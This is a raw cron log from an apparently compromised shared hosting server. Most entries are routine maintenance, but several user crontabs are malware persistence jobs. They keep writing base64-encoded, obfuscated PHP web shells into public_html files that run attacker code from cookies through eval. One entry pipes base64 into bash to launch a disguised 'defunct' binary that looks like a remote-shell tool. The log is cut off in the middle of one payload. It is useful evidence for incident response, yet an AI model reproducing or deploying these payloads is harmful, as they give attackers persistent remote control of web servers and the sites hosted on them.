Mar  1 18:58:02 medusa CROND[10548]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:58:02 medusa CROND[10551]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 18:58:02 medusa CROND[10545]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:58:02 medusa CROND[10555]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:58:02 medusa CROND[10560]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:58:02 medusa CROND[10564]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:58:02 medusa CROND[10563]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:58:02 medusa CROND[10559]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 18:59:02 medusa CROND[2561]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:59:02 medusa CROND[2562]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:59:02 medusa CROND[2563]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 18:59:02 medusa CROND[2567]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:59:02 medusa CROND[2568]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:59:02 medusa CROND[2569]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:59:02 medusa CROND[2566]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:59:02 medusa CROND[2571]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:59:02 medusa CROND[2572]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:59:02 medusa CROND[2573]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:59:02 medusa CROND[2584]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:59:02 medusa CROND[2594]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:00:01 medusa CROND[26743]: (root) CMD (/nutscripts/check_mail_blocked.sh > /dev/null 2>&1)
Mar  1 19:00:01 medusa CROND[26744]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:00:01 medusa CROND[26745]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 19:00:01 medusa CROND[26746]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  1 19:00:01 medusa CROND[26748]: (wmondolo) CMD (/usr/bin/php -q /home12/wmondolo/public_html/lista/cron_insert_turno.php > /dev/null)
Mar  1 19:00:01 medusa CROND[26753]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 19:00:01 medusa CROND[26754]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 19:00:01 medusa CROND[26750]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 19:00:01 medusa CROND[26757]: (root) CMD (/usr/bin/flock -n /var/run/cpapi_cache_upd_lock /opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import invalidate_cpapi_cache; invalidate_cpapi_cache()" &> /dev/null)
Mar  1 19:00:01 medusa CROND[26755]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:00:01 medusa CROND[26758]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:00:01 medusa CROND[26761]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 19:00:01 medusa CROND[26762]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 19:00:01 medusa CROND[26764]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 19:00:01 medusa CROND[26770]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 19:00:01 medusa CROND[26768]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:00:01 medusa CROND[26772]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:00:01 medusa CROND[26773]: (roble) CMD ({ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMTc3IGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9IFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWU4L3JvYmxlLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvaG9tZTgvcm9ibGUvLmNvbmZpZy9odG9wL2RlZnVuY3QnIiAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel)
Mar  1 19:00:01 medusa CROND[26765]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 19:00:01 medusa CROND[26777]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:00:01 medusa CROND[26778]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 19:00:01 medusa CROND[26780]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:00:01 medusa CROND[26781]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoI